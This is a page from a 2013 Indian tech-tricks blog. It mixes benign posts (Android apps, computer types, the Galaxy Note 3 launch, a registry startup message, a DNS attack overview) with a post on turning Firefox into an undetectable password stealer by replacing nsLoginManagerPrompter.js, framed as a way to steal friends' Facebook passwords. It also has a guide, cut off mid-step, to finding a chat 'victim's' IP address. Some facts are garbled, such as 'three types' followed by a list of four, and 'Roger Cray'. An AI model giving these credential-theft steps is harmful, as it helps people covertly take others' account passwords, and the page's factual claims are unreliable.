Recent Articles

Thursday, September 12, 2013

Free Call's To Any Mobile

Thursday, September 12, 2013 - 6 Comments

free call to any mobile

Hello friends, in this article i will give you a new trick that how to make free call to any mobile. We know many websites gives a chance to send free sms, but today i'm will tell you about the site which allows you to make free calling in india. The site gives 64 minutes to talk free.

Make Free Call to any Mobile :-

1. First of all, go , open this site and register by using your mobile number which you want to call free.

2. After registeration completed, login with your mobile number and password.

3. After login, click on Send Sms.

4. Now click on Live Voice Call.

5. Now click on Dial Number.

6. Now new page will open and enter any mobile number which you want to make free call.

7. Now it will connect your call to your friend, the call is dailled by site and your friend's mobile will rings.

8. First 5 sec computer will speak, now after 5 seconds, your mobile phone rings.

9. Now pick up your mobile and enjoy free voice call.

Remember : That you will allow only 4 Minutes to talk, after that time you will have to Connect call again.

So Enjoy Your Call's That If You Have Any Problem Comment Below...

How To Turn Your Firefox Into A Keylogger Without Any Software !!!

Hello friends, In this article i give you the very simple steps that how do you want to hack / steal your friends Facebook password using Mozilla Firefox? very easy, by reading this article you would be able to hack / steal any one s every website account information like username or password using Mozilla Firefox web browser.

explosive firefox

In this artical I'll show you how to turn any Firefox into a very powerful key-logger / password stealer using a simple java script trick. and the most interested thing is that using this trick not any anti-virus will caught you. even they wouldn't be noticed about how information are getting hacked.

Here we go to learn that how to turn a Mozilla Firefox into an undetectable (FUD) key-logger. This keylogger will be used to store all the usernames and passwords that will be entered by the user in any website like Facebook, Google, Gmail, twitter, etc.
So that you can hack your friends accounts, whenever they were over your house or you can steal someones password whose PC you use to. and the most interesting things is, this full process will be done without using any kind of software !

So let's follow some few easy steps :-

1) Close your Firefox if its running.

2) Now vavigate to:

Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components.

3) Find The Script Named nsLoginManagerPrompter.js

4) Now you just need to Download the following file and simply overwrite the existing nsLoginManagerPrompter.js with it, this one i have already edited and working fine.

From now on, when someone logs onto any site using your Firefox, their username and password will save automatically, without prompt !

To retrieve the account information, make sure Firefox is opened, go to Tools > Options... > Security Tab > click on saved passwords, then click on show passwords, and press yes...

So go for it...happy hacking....

Wednesday, September 11, 2013

Top 60 Best free Android Apps

Wednesday, September 11, 2013 - 2 Comments

android mobile

1. Facebook for Android

Facebook for Android is lacking in features compared to Facebook itself, but a recent update added Inbox support to the Android app, finally allowing its users to communicate in almost real time. The app's fast and stable, with a simplicity that reminds you of the old days when using Facebook used to be bearable.

2. National Rail Enquiries

After the original free, third-party National Rail apps went paid-for, National Rail has finally brought out its own free app. National Rail Enquiries enables you to check live train times, plan your journeys, and get notifications of delays. On first use, the app prompts you to enter a home and work train station, and then you can use the 'Get me home' button to see the next available trains.

3. Outlook

Microsoft has teamed up with developer SEVEN to offer an official Hotmail app for Android, which gives users a simple, clean interface, push notification support and even lets you manage multiple Hotmail accounts from within the app. If your email needs haven't yet been assimilated by Google, it's a useful option. It's since been rebranded as the Outlook app, in keeping with Microsoft's changes to its mail site.

4. Seesmic

There are many Twitter apps on Android - and Twitter itself shook up the scene with the launch of its own-brand app - but we're sticking with Seesmic. Offering support for multiple accounts, a home page widget showing latest tweets and an incredibly slick and professional design, it's one of the finest examples of app development out there today.

5. UK Jobs

Hey, times are hard and you've got to pay for your oppressive monthly mobile phone contract somehow. Offering a fully searchable database of current UK job vacancies, UK Jobs, which pulls in its data from independent employment site is, a slightly cumbersome but useful and non-governmental tool.

6. Google Sky Map

A stunning app that uses your phone's orientation tools to give you an accurate representation of the stars and planets on your screen. Point your phone at the sky, then learn what constellations are visible and if that's a UFO or just Venus. Google Sky Map even works indoors, if you're not keen on getting cold.

7. Wikipedia

A new way to look at the pleading face of Jimmy Wales. The official Wikipedia Android app is very nice to use, presenting a simplified version of the desktop site's content, plus an ever-useful offline saving option if you need access to pages when out of reception range. You also get location aware features, making it easy to randomly browse for interesting things in your vicinity.

8. Foursquare

The social media darling Foursquare is represented in fine form on Android, with the Google app offering easy one-click check-ins, integrated Google Maps for a seamless Google-branded experience and home page shortcut options to all your favourite places.

9. WordPress for Android

WordPress for Android started out as independent creation wpToGo, before WordPress decided it liked it so much it bought it up - hiring the maker to develop it in-house. It's very feature-packed, with the latest version offering full integration with other apps, letting you spin content and send it directly to the app for easy updating. It could do with more image insertion tools, though.

10. BBC News

While the BBC's Android iPlayer app is a bit on the disappointing side, the corporation's BBC News app is much more refined. There's a stylish grid-based front page, plus you're able to swipe from left to right to switch between stories in your chosen specialist category. A recent update also added a couple of Home screen widgets, too, plus the ability to submit your own news tips, as if the BBC was a small blog clamouring for content.

11. Google Goggles

A bit of a novelty, in that Google Goggles lets you take photos and have Google analyse them and come back with a search results page for what it thinks you're looking at. However, the app's main use is as a QR code reader, which lets you scan barcodes for quick access to apps and whatever data people choose to embed in the odd little data squares.

12. Winamp

Yes, the same Winamp from a decade ago. It's had an Android app for some time, with recent updates adding support for iTunes, Mac syncing, plenty of music streaming options, new release lists and Shoutcast integration for radio support. It's a fine, free media player.

13. Samsung ChatOn

There are plenty of messaging tools on Android, but Samsung's beats many of them by offering multi-platform support - with clients even available for older Samsung non-smart feature phones. It could be the ideal way to keep in touch with an out of touch relative. More "with it" users will be able to use its drawing, image sharing and social networking features.

14. Skyfire 3.0

The USP of the Skyfire browser is that it supports Flash content, popping up a little window when it detects an embedded YouTube video or something similar. The actual Flash business is handled by Skyfire's server, which does all the computery stuff, then sends the file to your handset. A bit clunky on slower Android phones, but it works like a dream on models with faster processors. Despite the arrival of Flash with Android 2.2, this is still relevant for those on phones and Android versions not able to support Adobe's Flash Player.

15. RAC Traffic

An official production of the motoring organisation, RAC Traffic is dead simple - it guesstimates your location via the mobile signal, then pops up the current traffic alerts for your area. It's much better than having to listen to the radio for the odd update about arterial blockages.

16. Swype

The odd line-drawing alternate keyboard Swype is a love-it or hate-it kind of thing, with the significant amount of re-learning required to make the most of it quite off-putting to some users. Once you're familiar with the idea, though, it's genius - with advanced prediction options further speeding your line-typing. After a long period of availability only through a beta test or having pre-loaded on your phone by the maker, Swype's now available on Google Play - in both free trial and paid options.

17. Evernote

After the Android version of Dropbox, the next best solution for keeping all your 'business' in one place is Evernote - which lets you stash and sync all your text notes, voice memos and files on your phone and access them through a desktop computer.

18. Flickr

As well as supporting Flickr uploading, this app also lets you capture photos from within the app and comes complete with a set of filters, so you can hipsterise your life with ease. It supports sharing with Twitter and Facebook as well, so your other, non-photo-nerd friends can enjoy the results of today's snapping session.


The subscription-based thrills of open up a world of music streaming on your mobile. You have to 'buy in' to the odd way of organising things and suggesting new music, but if you're easily led and not restricted by bandwidth it's a superb tool.

20. Google Maps Navigation

An absolute must-get. As long as you have Android 1.6 or above, the latest update to Google Maps introduces turn-by-turn voice navigation, simultaneously devastating the satnav industry while boosting the in-car dashboard dock/charger accessory scene. Route calculations are done at the outset of your trip, minimising data transfer en route and keeping you on target even when the GPS signal drops. It's amazing, it works, and it's free.


A high quality note-taking and reminder app, is part calendar, part dictation tool and part to-do list creator.
There's a huge, resizable widget that provides quick access to its features and lets you dismiss completed tasks, with the mic option pulling up a voice recorder to automatically add tasks to your schedule without typing. It's free, although should you start a task with the word "buy" a green shopping trolley appears, tempting you to press it and buy things from Amazon instead of trudging to the shops.

22. gvSIG Mini Maps

gvSIG Mini Maps is an incredibly comprehensive mapping tool which combines major online maps including Google, Bing, Open Street Map and more, which will win UK fans for one huge reason alone - it supports the official and recently open-sourced Ordnance Survey data. This means you're never more than a post code search away from seeing where you are in OS-level detail, which offers much more in the way of accurate local data than other map tools provide.

23. Google Keep

Google Keep is the Android maker's own attempt at muscling in on the clipboard and to-do list app, presenting a versatile corkboard tool that lets users record audio notes, capture photos, create checklists and more.
The star of the show is the resizable Home screen widget, from which you can access all the features and hit buttons to record clips and take images. Google's so proud of Keep that it's become canon - and comes pre-loaded as part of Android 4.3's app set.

24. Shareprice

Shareprice uses your login from financial site to offer live share price updates on your Android phone. Watch your nest-egg lose 50 per cent in value every three weeks during the latest trans-global financial crisis, live!
It's ideal for users with share values so low they have to be checked in private, to ensure their partner doesn't see exactly how much money has disappeared into some notional financial black hole.

25. Skifta

Skifta is the first software tool to be granted DLNA certification, meaning it turns your Android phone into an official DLNA device. This in turn means streaming all of your household media to your phone, and beaming your phone videos to your TV. Seems a little buggy at the moment, but there are plenty of updates arriving all the time. Requires Android 2.2 or higher.

26. Dropbox

The Android version of the insanely popular stuff-syncing app has arrived, and while Dropbox is a little lacking in the sort of fancy auto-syncing options many were hoping for, it still works as expected. Files have to be specifically downloaded to your phone to be edited or shared, which is not quite the automated dream offered by the desktop tools, but it's still Dropbox on Android. Six months ago that was a distant, crazy fantasy.

27. London Tube Status

Reduce the misery of being told you've just missed a train and it's a 14-minute wait until the next one with London Tube Status, which combines travel status updates and live departure times. It also includes a home screen widget that shows your favourite (or at least your most used) platform departures, making it easy to check how much you've just missed the next one by while tearing down the escalators.

28. Amazon UK

Amazon recently launched an official Android app, replacing its reliance on a mobile web store. The app's very simple and fast to use, and even includes full shopping cart features with Amazon's one-click system once you've signed in with your usual account details.

29. Meebo IM

If you like to pass the time exchanging smiley faces and abbreviations with your friends through instant messaging apps, you ought to get a copy of Meebo IM. It's an instant messaging aggregator, incorporating AIM, MSN, Yahoo, MySpace, Facebook, good old ICQ and more, serving everything up in one convenient interface. Typing in all your logins and passwords for everything is the only, very temporary, inconvenience.

30. Beelicious

If you're into the slightly last-generation social networking site Delicious, you ought to get yourself organised with one of the many third-party Android apps out there that support the bookmarking tool. Such as Beelicious, which, once you've got through the slightly cumbersome initial set-up process, lets you simply send website links to your Delicious account via the Android browser's 'Share Page' sub menu.

31. Carbon for Twitter

Carbon replaces another deceased entry on this list, filling in for Tweetdeck - which used to be a smart way of managing Twitter and Facebook feeds within one simple app. Twitter bought it and killed it. Hooray for that.
In terms of unofficial replacements, one of the hottest new Android Twitter apps is Carbon, which offers stacks of features inside a very flashy, animated skin, with heaps of gesture shortcuts for quickly refreshing feeds, jumping about the timeline and managing multiple accounts. It's a million miles ahead of the official Twitter app.

32. iPlayer

The BBC came in for quite a lot of stick over its Android iPlayer app, with the code lacking some basic features and requiring Adobe's discontinued Flash Player in order to work properly. Happily, most of the issues have now been fixed in a recent update, while the BBC's standalone Media Player removes the need for Flash. It also works while minimised and with the screen turned off, so is actually usable as a radio player. Much better.

33. Feedly

33rd position in our list used to belong to Google's fantastic cross-platform RSS Reader app, but... it killed it. Which was a big shame. There are plenty of replacement options on Android, though, with Feedly one of the best both in terms of desktop sync functionality and general look and feel on mobile.
You sign in, import your Google Reader backup (you did remember, right?) and away you. Just like Reader, only prettier and more versatile. Like a younger wife.

34. BT FON

BT's incredibly clever FON network is often a lifesaver, letting you legally borrow Wi-Fi for free in many public places. And while standing outside strangers' houses. The BT FON Android app (recently renamed BT Wi-Fi) lets you automate the sign-in process, so you can walk around towns and housing estates safe in the knowledge that your phone's always seeking out available Wi-Fi. You need a BT FON username, though, so sort that out before you venture out into the scary internet-free world.

35. Amazon Kindle

Amazon's Kindle app is a great e-reader, which is seamlessly linked with your Amazon account. Support for magazines and newspapers is limited at the moment, with only a handful of niche publications in Android-friendly format. But for books it's great, with plenty of screen and text display options to get it looking a way that hurts your eyes the least. Another exciting new way to collect classic novels you'll probably never get around to reading because there's the internet now.

36. Endomondo

The free version of Endomodo is essential if you're sporty, or even if you just like using a GPS tool to stalk yourself walking around. You select an activity, initiate GPS mode and it'll keep track of you, time you and even whisper robotic words of encouragement at you, before generating a stylish map charting your achievements. A map which you can spam out to social networks to show off the fact that you can ride a bike.

37. Androidify

Let your hair down by creating a realistic interpretation of what you hair looks like with Androidify. It's an avatar creator that uses the Android mascot as its base, letting you swap trousers and hats with the swipe of a finger. Results are then sharable via Twitter and the usual social tools. There aren't enough types of beard, though. Please release a Beard Expansion Pack.

38. Kongregate Arcade

Thanks to Android's Flash Player powers, casual gaming portal Kongregate is able to bring a huge number of its internet games to Android. They run in the browser so resolutions can be a bit all over the place, but with over 300 games to choose from there's bound to be something there for you.

39. Blogger

The Google-owned Blogger platform now has a presence in the current decade, thanks to the official Blogger app. It's remarkably simple, supports image uploads and geo-tagging and imports the settings of all blogs associated with your Gmail account. There's no fancy editing the positions of your photos, which just get chucked in at the bottom, but it works.

40. RD Mute

RD Mute serves one purpose – to turn off all phone sounds when the Android accelerometer tells it you've picked it up and turned it over. It's a 'silent mode' shortcut for when you can't even be bothered to press a button. Put your phone on its front to shut it up – and add any very important numbers to the app's exceptions list, so people you don't mind talking to can get through.

41. OnLive

The technically astounding streaming video gaming service has now arrived on Android, with an official OnLive app letting Android users play console titles on their phones and tablets via wi-fi. It's best played on devices with big screens, but it'll still run on something as relatively modest as an HTC Desire. On- screen controls are the big trade-off, here - but it will work with OnLive's Bluetooth wireless controller, if you've seriously bought in to the OnLive dream.

42. MailOnline

Quite a few official news apps have launched on Android since we last updated this list. The Guardian has one, The Times has one, Channel 4 News has one and so does the country's guiltiest pleasure, the MailOnline. It features offline caching and lets users specify a time for it to sync pages with the main site, so you're in complete control of how and when you get your faux scandal.

43. Sky+

The Sky+ app has been on Android for quite some time, but it's recently been given a superb visual refresh and a new custom interface for those doing their telly research on an Android tablet. The feature set has been expanding, too, now including a nice Showcase front section, more programme details, plus, of course, the Remote Record features to set your Sky+ box recording through 3G or wi-fi.

44. eBay

Another app that's been out there for a while on Android, the eBay tool has also been updated so much that it's now a credible alternative to the desktop site. A recent update bought the ability to list items direct from the app, while there's a simple PIN system that makes paying for your winnings via PayPal much simpler and less convoluted than it is on the full blown web site.

45. Lovefilm By Post

There's now an official Android Lovefilm app, which lets you manage your account through your phone. You also get all the peripheral nonsense like reviews and trailers, but the key feature is the ability to manage your rental list, shuffling the order of your requests and filtering out categories you never trouble.

46. Tesco Groceries

This isn't an advert or a casual game featuring Jamie Oliver. Tesco Groceries is a fully mobile home delivery shopping experience, covering everything from booking your delivery slot to amending orders already placed. It uses voice input for easily searching for items, plus there's barcode scanner support for identifying and ordering stuff direct from your cupboard. Makes buying toilet rolls fun.

47. Path

Path is an alternate social network, designed to make sharing things with friends easier and more...personal. It does simple stuff like share your music listening history, then it does weird stuff like track how many hours you've slept for. It's also location aware, so if you'd like it to broadcast your every movement, that's possible. And if you can't pull yourself away from Facebook, stuff from here can be posted up there, too, although posts can also be locked so they never leave Path if you'd prefer.

48. Sky Sports Live Football Score Centre

The latest Sky Sports Live Football Score Centre app from BSkyB is an entirely sports-related option, giving access to live scores, league tables, match stats and results, also incorporating the new Sky Sports News Radio service for listening in, live, to the blokes in the studio guffawing away about free kick decisions.

49. Yelp

Yelp gives you a similar option to Google's wide range of social place reviews, only here you also get an augmented reality screen display, so you can point it at the skyline and see what five-star eating establishments are in the area. Places are backed up by user reviews, too, making it easy to get an up to date opinion on how generous a particular cafe is with the chips.

50. Odeon Cinemas

The Odeon Android app is impressive on a couple of levels. Being able to buy tickets through your phone is still quite an exciting thing to do, but this one goes further by including a graphical tool that lets you book your specific seats. Plus you get all the scheduled film showing times and the trailers you'd expect from something that's trying to encourage you to endure another by-the-numbers Hollywood product.

51. Sky Go

Access Sky's sports and film channels (and even Sky Arts if you're trying to impress a date) through wi-fi and 3G with Sky Go, which is free to download and use as long as you're a Sky subscriber. Those with Android phones that have been "rooted" and are running custom software are out of luck, though, with Sky limiting access on hacked models due to "security reasons." Apart from that annoying caveat, it's great.

52. Chrome

Everyone's new favourite browser is now represented on Android, with Google putting a full mobile version of Chrome up on the Play Store. It's a little limited in scope for users of older devices as Android 4.0 or higher is required to run it, but if your phone ticks that box Chrome on Android offers unlimited tabs in a nice pop-up list, desktop bookmark and open tab syncing, offline saving of pages and even that occasionally very useful incognito mode for covering your weirder tracks.

53. Rightmove

After a massive period of iOS exclusivity and the previous disastrous launch of a rubbish web browser wrapper app, there's finally a proper native Rightmove app for Android. It has a modern, Android 4.0 style layout (but works on anything with Android 2.1 or higher), offering simple property searches, a Google Maps visual results interface and Street View integration. It's fast and lovely to use.

54. TED

The series of tech talks by boffins, in which they try to explain high concepts in a way the likes of us can understand, is now represented on Android. The TED app lets users browse its database of well over 1000 TED talks, all free to download and try to get through in one go without having your brain explode.

55. ISSLive

Let's be honest - ISSLive looks awful. But beneath the clumsy interface and geeky layout sit all sorts of facts and coverage from the International Space Station, with plenty of live feeds, mission, crew and experiment data and even a 3D recreation of Mission Control down there in Houston to... look at. An oddball collection of the interesting and the mundane, like an episode of The Sky at Night.

56. London Bus Checker

London Bus Checker is a very well designed and attractive app, which pulls in live data for all London bus stop display boards. It's almost certainly of most use to people who live in London, who get full route maps, diversion and cancellation updates, GPS support for finding the nearest stop and an arrivals widget. All the fun of actually hanging out at a bus stop, basically.

57. Met Office Weather Application

Find out where there's likely to be any drinkable water left this summer with this one, the official weather checker from the Met Office. It's about as comprehensive as a weather app can be, offering Home screen widgets, a five-day forecast, severe weather warnings, maps just like on the telly and the "feels like" temperature so you know if a jacket is required.

58. Netflix

As soon as the streaming service hit the UK, so did its accompanying Android app. And the Netflix app does it all, offering access to the full catalogue of digital film and TV rentals, presented in a clean and simple layout. The only fancy features are PC syncing so you can pick up where you left off on mobile if it's getting near bed time, plus Facebook sharing so everyone can keep up on how your Secret Diary of a Call Girl marathon is going.

59. Layar

The stunning augmented reality app Layar has recently gone commercial, adding an online shop that allows users to buy AR content such as travel guides, local house price apps and much more. But you're still able to use the numerous free Layers to pop data up over real-world locations, delivering a satisfying futuristic experience.

60. FitBit

If you're still struggling to lose the Christmas weight heading into Easter, you may benefit from having a bit of life coaching on your telephone. FitBit's main feature is a Food Plan that keeps track of how many chocolate Brazil nuts you've had today, plus a logging feature that tracks your claims of exercise and adjusts your eating allowance accordingly. You'll be like the woman off the Special K adverts inside a month.

Sunday, September 8, 2013

Several Types Of Computer's

Sunday, September 8, 2013 - 2 Comments

What Is Computer ?

Input & Output Device

Computer is an electronic device that is designed to work with Information.The term computer is derived from the Latin term ‘computare’, this means to calculate. Computer can not do anything without a Program. It represents the decimal numbers through a string of binary digits. The Word 'Computer'usually refers to the Center Processor Unit plus Internal memory.
Computer is an advanced electronic device that takes raw data as input from the user and processes these data under the control of set of instructions (called program) and gives the result (output) and saves output for the future use. It can process both numerical and non-numerical (arithmetic and logical) calculations. The basic components of a modern digital computer are: Input Device, Output Device, Central Processor. A Typical modern computer uses LSI Chips.
Charles Babbage is called the "Grand Father" of the computer. The First mechanical computer designed by charles Babbage was called Analytical Engine. It uses read-only memory in the form of punch cards.

1) Analog Computer :-

Analog Computer Image

An analog computer is a form of computer that uses the continuously-changeable aspects of physical phenomena such as electrical, mechanical, or hydraulic quantities to model the problem being solved. In contrast, digital computers represent varying quantities incrementally, as their numerical values change.
Mechanical analog computers were very important in gun fire control in World War II and the Korean War; they were made in significant numbers. In particular, development of transistors made electronic analog computers practical, and before digital computers had developed sufficiently, they were commonly used in science and industry.

2) Digital Computers :-

Digital Computer Image

A digital computer is designed to process data in numerical form its circuits perform directly the mathematical operations of addition, subtraction, multiplication, and division. The numbers operated on by a digital computer are expressed in the binary system; binary digits, or bits, are 0 and 1, so that 0, 1, 10, 11, 100, 101, etc., correspond to 0, 1, 2, 3, 4, 5, etc. Binary digits are easily expressed in the computer circuitry by the presence (1) or absence (0) of a current or voltage. A series of eight consecutive bits is called a "byte"; the eight-bit byte permits 256 different "on-off" combinations. Each byte can thus represent one of up to 256 alphanumeric characters, and such an arrangement is called a "single-byte character set" (SBCS); the de facto standard for this representation is the extended ASCII character set. Some languages, such as Japanese, Chinese, and Korean, require more than 256 unique symbols. The use of two bytes, or 16 bits, for each symbol, however, permits the representation of up to 65,536 characters or ideographs. Such an arrangement is called a "double-byte character set" (DBCS); Unicode is the international standard for such a character set. One or more bytes, depending on the computer's architecture, is sometimes called a digital word; it may specify not only the magnitude of the number in question, but also its sign (positive or negative), and may also contain redundant bits that allow automatic detection, and in some cases correction, of certain errors. A digital computer can store the results of its calculations for later use, can compare results with other data, and on the basis of such comparisons can change the series of operations it performs. Digital computers are used for reservations systems, scientific investigation, data-processing and word-processing applications, desktop publishing, electronic games, and many other purposes.

There are three types of computer :-
  • Super Computer.
  • Mainframe Computer.
  • Mini Computer.
  • Micro Computer.

i) Super Computer :-

Super Computer Image

Extremely fast data processing-oriented computer whose number crunching power is (presently) measured in hundreds of billions of floating point operations (gigaflops). Supercomputers really on parallel-processing technology and can use only a few but very complex programs in modeling economy behavior, nuclear reactions, meteorological and neurological phenomenon, etc. First supercomputer (Cray-1) was made in 1976 by the US engineer Roger Cray (1925-1996). Or in simple word you can say that...
A large computer or collection of computers that act as one large computer capable of processing enormous amounts of data. Supercomputers are used for very complex jobs such as nuclear research or collecting and calculating weather patterns. Below is an example picture of a super computer at the William R.Wiley Environmental Molecular Sciences Laboratory, the Linux-based supercomputer is composed of nearly 2,000 processors.

ii) Mainframe computer :-

Mainframe computer Images

A Mainframe computer is a very large and expensive computer capable of supporting hundreds, or even thousands, of users simultaneously. IBM builds Mainframe Computers. Today, a Mainframe refers to IBM's zSeries computers. Big companies; Banks, Insurance Companies, Travel and Retail Sector, Telecom Companies employ Mainframes for processing their business data. Today, thousands of people around the globe book flights, do Electronic Money Transfers, swipe their credit-cards for purchases. These transactions are processed in a snap by a Mainframe computer.

iii) Mini Computer :-

mini computer image

A minicomputer is a type of computer that possesses most of the features and capabilities of a large computer but is smaller in physical size. The name can be a bit misleading. In fact, minicomputers are several times the size of desktop PCs and are only one step below mainframes in the hierarchy of computer classes.
The term "minicomputer" was introduced in the 1960s to describe powerful computers that were not as large as mainframes, which sometimes could fill an entire room. Instead, most minicomputers were a few feet wide and several feet tall. They were primarily used by large businesses during the 1960s and 1970s to process large amounts of data. Some minicomputers also functioned as servers, allowing multiple users to access them from connected terminals.
As computer processors became smaller and more powerful, microcomputers began to rival minicomputers in processing power. Therefore, in the 1980s, minicomputers started becoming less relevant and eventually became obsolete. Today, rack-based servers perform similar functions to minicomputers.

iv) Micro Computer :-

Personal Computer (PC)

You can say that the term microcomputer is generally synonymous with personal computer (PC), or a computer that depends on a microprocessor. Microcomputers are designed to be used by individuals, whether in the form of PCs, workstations or notebook computers. A microcomputer contains a central processing unit (CPU) on a microchip (the microprocessor), a memory system (typically read-only memory and random access memory), a bus system and I/O ports, typically housed in a motherboard.
Microcomputers became popular in the 1970s and 80s with the advent of increasingly powerful microprocessors.

3) Hybrid Computer :-

hybrid computer image

Hybrid computer is a digital computer that accepts analog signals, converts them to digital and processes them in digital form. This integration is obtained by digital to analog and analog to digital converter. A hybrid computer may use or produce analog data or digital data. It accepts a continuously varying input, which is then converted into a set of discrete values for digital processing. A hybrid computer system setup offers a cost-effective method of performing complex simulations. A hybrid computer capable of real-time solution has been less expensive than any equivalent digital computer. Hybrid computers have been necessary for successful system development. An example of a hybrid computer is the computer used in hospitals to measure the heartbeat of the patient. Hybrid Machines are generally used in scientific applications or in controlling industrial processes.

Saturday, September 7, 2013

How To Hide Your Last Name On Facebook

Saturday, September 7, 2013 - 0 Comments

Just follow these below steps :-

1) First you need Indonesian Proxy Servers. This proxy will help you to hide your last name.

2) Goto Firefox >> Options >> Advanced >> Network >> Settings >> Connection Settings >> And choose manual proxy configuration.

3) Now the real Trick starts "Use This Proxy Servers For All Protocols".

4) Put this proxy and port Http Proxy : Port : 8080

5) Put on No Proxy for Box.

6) Now goto your profile and remove last name then save it.

So You Just Did It, Now Your Last Name Is Gone, and What left is just your 1st single name. Must share it with your friends and give your comments....

How To Increase Download Speed of IDM using IDM Optimizer

IDM Optimizer Image

Internet Download Manager as we said is the best download manager right now available as compared to any other download manager like DAP, Microsoft Lightweight Download Manager, Orbit and many others. Well we just got our hands on IDM Optimizer, it’s a small utility which boosts your IDM speed by modifying some registry entries like it will change Connection Speed, Connection type, Max Connection Numbers and some other few entries. So this is what above kind of Window you will see when you will fire up the IDM Optimizer software. So it has a simple Maximize Now button which when clicked will popup a note to restart IDM so that it can take effect. Well you can see it also has a Restore Default button which will restore all the settings which IDM came with you can use that if you think that you are not getting good speeds.

Increase Download Speed of IDM using IDM Optimizer :-

1.  Download IDM Optimizer Tool.

2.  Now make sure IDM is installed on your PC, as this tool will only optimize IDM if its physically present on your system.

3.  Now just fire up your IDM Optimizer and than you will see window like above just click on Maximize Now and you will get a note asking you to restart your IDM do that and once restart your PC.

4.  That’s it now your IDM is boosted with speed, try to download any file and check out if speeds are good or not.

5.  If you want to restore your default settings than you can click on Restore Default.

That’s it guys now you have boosted your IDM with Speed, optimized it for faster downloads have fun :) and do share this post with all friends and give your comments...

Wednesday, September 4, 2013

Samsung Galaxy Note 3 Launched

Wednesday, September 4, 2013 - 0 Comments

Samsung Galaxy Note 3 with 5.7-inch full-HD display, Android 4.3 launched :-

latest mobile phone

Samsung has officially launched Galaxy Note 3 phablet at the sidelines of IFA 2013 in Berlin. Samsung Galaxy Note 3 comes with a 5.7-inch full-HD Super AMOLED display, but weighing at 168g and 8.33m wide, is both lighter and slimmer than the Samsung Galaxy Note II. Just like the Samsung Galaxy S4, the Galaxy Note 3 will come in two variants. The LTE variant will be powered by 2.3GHz quad-core processor and the 3G version will be powered by a 1.9GHz octa-core processor.

Samsung Galaxy Note 3 comes with 3GB RAM and a 13-megapixel rear camera alongside 2-megapixel front camera. It is powered by 3,200mAh battery and runs Android 4.3 Jelly Bean. As rumoured, the Galaxy Note 3 will be available in 32GB and 64GB variants, with the company doing away with the 16GB variant after controversy on the available storage with the Samsung Galaxy S4. Both variants come with support for up to 64GB of additional external storage.

Connectivity options on the Note 3 include Wi-Fi 802.11 a/b/g/n/ac, GPS/ GLONASS, NFC, Bluetooth v4.0 (LE), IR, and MHL 2.0. It comes with various sensors like Gesture, Accelerometer, Geo-magnetic, Gyroscope, Proximity, Barometer, Temperature & Humidity, and Hall Sensor.

Samsung says the Galaxy Note 3 will launch starting from September 25 in more than 140 countries around the world.

Apart form the Galaxy Note 3, Samsung also unveiled the Galaxy Gear smart watch and Galaxy Note 10.1 2014 edition.

latest samsung mobile phone

Samsung Galaxy Note 3 key specifications :-

1>>  5.7-inch full-HD display

2>>  2.3GHz quad-core processor or 1.9GHz octa-core processor

3>>  3GB RAM

4>>  32GB/ 64GB storage options

5>>  13-megapixel rear camera, 2-megapixel front camera

6>>  Android 4.3 Jelly Bean

7>>  Wi-Fi 802.11 a/b/g/n/ac, GPS/ GLONASS, NFC, Bluetooth v4.0 (LE), IR, MHL 2.0

How To Display A Message at Start Up

Display a Message at Start Up :-

At the time of Windows boot up a popup message can be added which contains any message you wish to display. In many organizations there a display of a message to display instructions or policies of Organization etc. in Windows, whenever you boot it.

How you can do it too :-

Step 1:- Open Registry Editor (Go to Start Run type Regedit & press enter)

Step 2:- Navigate to : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Step 3:-In the Right Side pane select & open LegalNoticeCaption and enter a value that you want to see in the Menu Bar.

Step 4:- Next to it open LegalNoticeText and insert the message you want to display each time Windows boots.

Step 5:- Close Registry & Restart for changes to take effect.

Setting up Menu bar text using LegalNoticeCaption key:


Setting up Message to Display after computer Boots up using LegalNoticeText key :

computer registry

This trick works with Windows 7 so go for it, and give your comment, this article working or not... :)

Attacking the Domain Name System (DNS) Protocol

dns attack

DNS Overview :-

DNS is a heavily used protocol on the Internet yet has numerous security considerations. This paper whilst containing nothing new on DNS security brings together in one document many strands of DNS security which has been published and reported in many separate publications before. As such this document intends to act as a single point of reference for DNS security. This paper contains some basic and advanced level attacks.

Attacking the DNS Protocol :-

DNS stands for Domain Name System and it is used to resolve domain names to IP addresses and vice versa. A DNS server will listen on UDP port 53 for name resolution queries and TCP port 53 for zone transfers which are conducted most typically by other DNS servers. Estimates put DNS as occupying almost 20% of all Internet traffic.

The Berkley Internet Name Service (BIND) is the most common form of DNS server used on the Internet. BIND typically runs on UNIX type systems. The DNS server stores information which it serves out about a particular domain (also referred to as a namespace) in text files called zone files.

A DNS client runs a service called a resolver. The resolver handles all interaction with the DNS server in order to resolve names to IP addresses using what are called records. There are many types of records, but the most common are A, CNAME and MX records.

A client (the resolver) maintains a small amount of local cache which it will refer to first before looking at a local static host’s file and then finally the DNS server. The result returned will then be cached by the client for a small period of time.

When a DNS server is contacted for a resolution query, and if it is authoritative (has the answer to the question in its own database) for a particular domain (referred to as a zone) it will return the answer to the client. If it is not authoritative for the domain, the DNS server will contact other name servers and eventually it will get the answer it needs which is passed back to the client. This process is known as

Additionally the client itself can attempt to contact additional DNS servers to resolve a name. When a client does so, it uses separate and additional queries based on referral answers from servers. This process is known as iteration. Generally recursion is the most common form of resolution used.

DNS Man in the Middle Attacks – DNS Hijacking :-

If an attacker is able to insert himself between the client and the DNS server he may be able to intercept replies to client name resolution queries and send false information mapping addresses to incorrect addresses. This type of attack is very much a race condition, in that the attacker needs to get his reply back to the client before the legitimate server does. The odds may be stacked in the favour of the client as a number of recursive queries may need to be made and the attacker may be able to slow the client’s primary DNS server down by using a denial of service attack.

How To Find The Victim's IP Address

victims IP address

In this article i will show you that how to find out the IP address of your Victim's computer while chatting on Social Networking websites

I will be using GMAIL to demonstrate...
First let’s clear some concepts. When we do direct chatting with our victim via chat box, our message 1st goes to Gmail server then it is forwarded to us or to victim who is on chat. But when we do Video or Call then we get connected directly to the Victim's computer. Now, when we do chatting simply, hereby our system gets connected to Gmail server, thus if we try to find out the ip then we will get Gmail sever IP & when we do Video or Call chatting then as our system is directly connected to victim's computer, so we will get victim's computer IP Address.
Now let’s do it practically,

Fire up your

BACKTRACK machine.

Download googletalk plugin from google & you will get a package by name ”google-talkplugin_current_i386.deb”

Execute this file by the following command :-

dpkg –i google-talkplugin_current_i386.deb

Now, goto your Terminal & type “”etherape””(without quotes) goto CAPTURE ....& over there select your interface (network card)
